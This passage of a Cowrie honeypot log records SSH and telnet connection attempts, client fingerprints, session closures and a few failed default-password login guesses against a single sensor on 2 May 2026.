2"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:40.829731Z","src_ip":"114.35.59.237","session":"ae57ef00382f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48042,"dst_ip":"159.203.135.109","dst_port":23,"session":"b67bbe378de9","protocol":"telnet","message":"New connection: 192.119.108.58:48042 (159.203.135.109:23) [session: b67bbe378de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:40.861438Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50578,"dst_ip":"159.203.135.109","dst_port":23,"session":"9283e522bcbf","protocol":"telnet","message":"New connection: 161.132.53.68:50578 (159.203.135.109:23) [session: 9283e522bcbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:40.921245Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50582,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ada4c917317","protocol":"telnet","message":"New connection: 161.132.53.68:50582 (159.203.135.109:23) [session: 1ada4c917317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:41.345374Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2017","message":"login attempt [admin/2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:41.710905Z","src_ip":"114.35.59.237","session":"ae57ef00382f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.59112048149109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:41.889348Z","src_ip":"161.132.53.68","session":"edbd6878c695","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":46936,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4844aa3cdd9","protocol":"ssh","message":"New connection: 200.105.172.184:46936 (159.203.135.109:22) [session: a4844aa3cdd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:41.906040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:41.921517Z","src_ip":"200.105.172.184","session":"a4844aa3cdd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:42.057725Z","src_ip":"200.105.172.184","session":"a4844aa3cdd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50592,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddfba798cd5b","protocol":"telnet","message":"New connection: 161.132.53.68:50592 (159.203.135.109:23) [session: ddfba798cd5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:42.443511Z"}
{"eventid":"cowrie.session.closed","duration":31.20731806755066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:42.764574Z","src_ip":"192.119.108.58","session":"958a1f05bc45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:42.925243Z","src_ip":"114.35.59.237","session":"ae57ef00382f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49546,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7920ada16b6","protocol":"telnet","message":"New connection: 192.119.108.58:49546 (159.203.135.109:23) [session: c7920ada16b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:43.428445Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48836,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b2268d341ee","protocol":"telnet","message":"New connection: 192.119.108.58:48836 (159.203.135.109:23) [session: 3b2268d341ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:44.908461Z"}
{"eventid":"cowrie.session.closed","duration":31.946964025497437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:45.622341Z","src_ip":"161.132.53.68","session":"d0791d9c74b4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"smart","message":"login attempt [root/smart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:46.210105Z","src_ip":"200.105.172.184","session":"a4844aa3cdd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:47.345627Z","src_ip":"200.105.172.184","session":"a4844aa3cdd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":52108,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a6d2978ca90","protocol":"telnet","message":"New connection: 192.119.108.58:52108 (159.203.135.109:23) [session: 3a6d2978ca90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:50.023231Z"}
{"eventid":"cowrie.session.closed","duration":30.923359394073486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:50.522560Z","src_ip":"147.185.132.13","session":"71594e67c5c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51982,"dst_ip":"159.203.135.109","dst_port":23,"session":"66d25e55df04","protocol":"telnet","message":"New connection: 192.119.108.58:51982 (159.203.135.109:23) [session: 66d25e55df04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:51.735348Z"}
{"eventid":"cowrie.session.closed","duration":30.55313992500305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:52.456654Z","src_ip":"192.119.108.58","session":"7ed501ff5688","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":41992,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b7cd7d055d","protocol":"ssh","message":"New connection: 124.18.182.99:41992 (10.17.0.5:22) [session: 71b7cd7d055d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:52.811025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:52.815467Z","src_ip":"124.18.182.99","session":"71b7cd7d055d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:52.988954Z","src_ip":"124.18.182.99","session":"71b7cd7d055d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"passwd","message":"login attempt [user/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:53.717517Z","src_ip":"124.18.182.99","session":"71b7cd7d055d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53816,"dst_ip":"159.203.135.109","dst_port":23,"session":"0323d8f15cf4","protocol":"telnet","message":"New connection: 192.119.108.58:53816 (159.203.135.109:23) [session: 0323d8f15cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:53.736487Z"}
{"eventid":"cowrie.session.closed","duration":30.97167992591858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:54.767453Z","src_ip":"104.245.105.2","session":"713efdb31591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:54.897607Z","src_ip":"124.18.182.99","session":"71b7cd7d055d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52772,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ccdc8050dc5","protocol":"telnet","message":"New connection: 161.132.53.68:52772 (159.203.135.109:23) [session: 4ccdc8050dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:55.019303Z"}
{"eventid":"cowrie.session.closed","duration":32.11787462234497,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:55.706837Z","src_ip":"161.132.53.68","session":"d7f5cbebbac0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.542291164398193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:55.777273Z","src_ip":"161.132.53.68","session":"5e1fc9d7d542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52780,"dst_ip":"159.203.135.109","dst_port":23,"session":"20ee6b021289","protocol":"telnet","message":"New connection: 161.132.53.68:52780 (159.203.135.109:23) [session: 20ee6b021289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:56.012967Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52794,"dst_ip":"159.203.135.109","dst_port":23,"session":"804b9940c3d8","protocol":"telnet","message":"New connection: 161.132.53.68:52794 (159.203.135.109:23) [session: 804b9940c3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:56.140386Z"}
{"eventid":"cowrie.session.closed","duration":32.00726938247681,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:56.526103Z","src_ip":"161.132.53.68","session":"ffad785af1be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52808,"dst_ip":"159.203.135.109","dst_port":23,"session":"3639658bbe19","protocol":"telnet","message":"New connection: 161.132.53.68:52808 (159.203.135.109:23) [session: 3639658bbe19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:56.549383Z"}
{"eventid":"cowrie.session.closed","duration":30.658806324005127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:57.172326Z","src_ip":"192.119.108.58","session":"3bbe5e57737c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.689584493637085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:57.751937Z","src_ip":"161.132.53.68","session":"e7cfdeb88552","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35116,"dst_ip":"159.203.135.109","dst_port":23,"session":"484b6b6bff7a","protocol":"telnet","message":"New connection: 161.132.53.68:35116 (159.203.135.109:23) [session: 484b6b6bff7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:58.306588Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35126,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ba4fabec105","protocol":"telnet","message":"New connection: 161.132.53.68:35126 (159.203.135.109:23) [session: 7ba4fabec105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:58.636438Z"}
{"eventid":"cowrie.session.closed","duration":30.654226303100586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:01.250815Z","src_ip":"192.119.108.58","session":"c3513b2b4b9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.536003828048706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:01.562628Z","src_ip":"161.132.53.68","session":"5ea15f191115","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962724208831787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:01.624988Z","src_ip":"161.132.53.68","session":"f104d31a238c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.288000106811523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:04.120882Z","src_ip":"192.119.108.58","session":"76a8c521db0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35142,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6914ba1fc6a","protocol":"telnet","message":"New connection: 161.132.53.68:35142 (159.203.135.109:23) [session: e6914ba1fc6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:04.687548Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59352,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac22f78005d","protocol":"telnet","message":"New connection: 192.119.108.58:59352 (159.203.135.109:23) [session: 7ac22f78005d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:05.007171Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":56614,"dst_ip":"159.203.135.109","dst_port":22,"session":"7336e6cac466","protocol":"ssh","message":"New connection: 194.59.206.2:56614 (159.203.135.109:22) [session: 7336e6cac466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:07.140242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:07.183862Z","src_ip":"194.59.206.2","session":"7336e6cac466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:07.241695Z","src_ip":"194.59.206.2","session":"7336e6cac466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:07.408449Z","src_ip":"194.59.206.2","session":"7336e6cac466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":60262,"dst_ip":"159.203.135.109","dst_port":23,"session":"d79294c77a07","protocol":"telnet","message":"New connection: 192.119.108.58:60262 (159.203.135.109:23) [session: d79294c77a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:07.751824Z"}
{"eventid":"cowrie.session.closed","duration":30.622490644454956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:08.217937Z","src_ip":"161.132.53.68","session":"62f921994972","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":32800,"dst_ip":"159.203.135.109","dst_port":23,"session":"235a16a282ec","protocol":"telnet","message":"New connection: 161.132.53.68:32800 (159.203.135.109:23) [session: 235a16a282ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:08.611775Z"}
{"eventid":"cowrie.session.closed","duration":30.20092272758484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:09.078368Z","src_ip":"192.119.108.58","session":"8b3c5d79b137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.259026050567627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:09.627343Z","src_ip":"192.119.108.58","session":"2385a4ee8b32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48478651046753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:10.091125Z","src_ip":"192.119.108.58","session":"12bbda3bd9e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":32810,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d954d087915","protocol":"telnet","message":"New connection: 161.132.53.68:32810 (159.203.135.109:23) [session: 5d954d087915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:10.939394Z"}
{"eventid":"cowrie.session.closed","duration":30.420428037643433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:11.281731Z","src_ip":"192.119.108.58","session":"b67bbe378de9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71176266670227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:12.057018Z","src_ip":"161.132.53.68","session":"1ada4c917317","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":32816,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b42f1e334a6","protocol":"telnet","message":"New connection: 161.132.53.68:32816 (159.203.135.109:23) [session: 3b42f1e334a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:12.301542Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":32828,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a13fa9d1135","protocol":"telnet","message":"New connection: 161.132.53.68:32828 (159.203.135.109:23) [session: 9a13fa9d1135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:12.704323Z"}
{"eventid":"cowrie.session.closed","duration":32.11630868911743,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:13.037435Z","src_ip":"161.132.53.68","session":"9283e522bcbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679133892059326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:13.122525Z","src_ip":"161.132.53.68","session":"ddfba798cd5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.497042894363403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:14.925358Z","src_ip":"192.119.108.58","session":"c7920ada16b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56994867324829,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:15.478267Z","src_ip":"192.119.108.58","session":"3b2268d341ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55800,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a601be1aee3","protocol":"telnet","message":"New connection: 161.132.53.68:55800 (159.203.135.109:23) [session: 5a601be1aee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:17.464778Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37692,"dst_ip":"159.203.135.109","dst_port":23,"session":"f912cedfba0e","protocol":"telnet","message":"New connection: 192.119.108.58:37692 (159.203.135.109:23) [session: f912cedfba0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:19.751306Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38308,"dst_ip":"159.203.135.109","dst_port":23,"session":"37ae3ecad4e4","protocol":"telnet","message":"New connection: 192.119.108.58:38308 (159.203.135.109:23) [session: 37ae3ecad4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:19.957367Z"}
